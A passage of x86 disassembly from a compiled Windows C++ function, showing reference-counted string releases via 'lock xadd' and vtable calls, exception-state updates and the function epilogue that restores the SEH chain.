push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x14
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c2ad
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x13
mov eax, dword [esp + 0x94]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c2d8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x12
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c300
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x11
mov eax, dword [esp + 0x78]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c328
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0x10
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c350
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0xf
mov eax, dword [esp + 0x80]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c37b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0xe
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c3a3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0xd
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c3cb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0xc
mov eax, dword [esp + 0x58]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c3f3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0xb
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c41b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0xa
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c443
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 9
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c46b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 8
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c493
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 7
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c4bb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 6
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c4e3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 5
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c50b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 2
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c533
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 1
mov eax, dword [esp + 0xa0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c55e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xe4], 0
mov eax, dword [esp + 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c586
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0xe4], 0xffffffff
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c5b1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xdc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd4
ret 4
call fcn.00401ea0
call fcn.004404b8
int3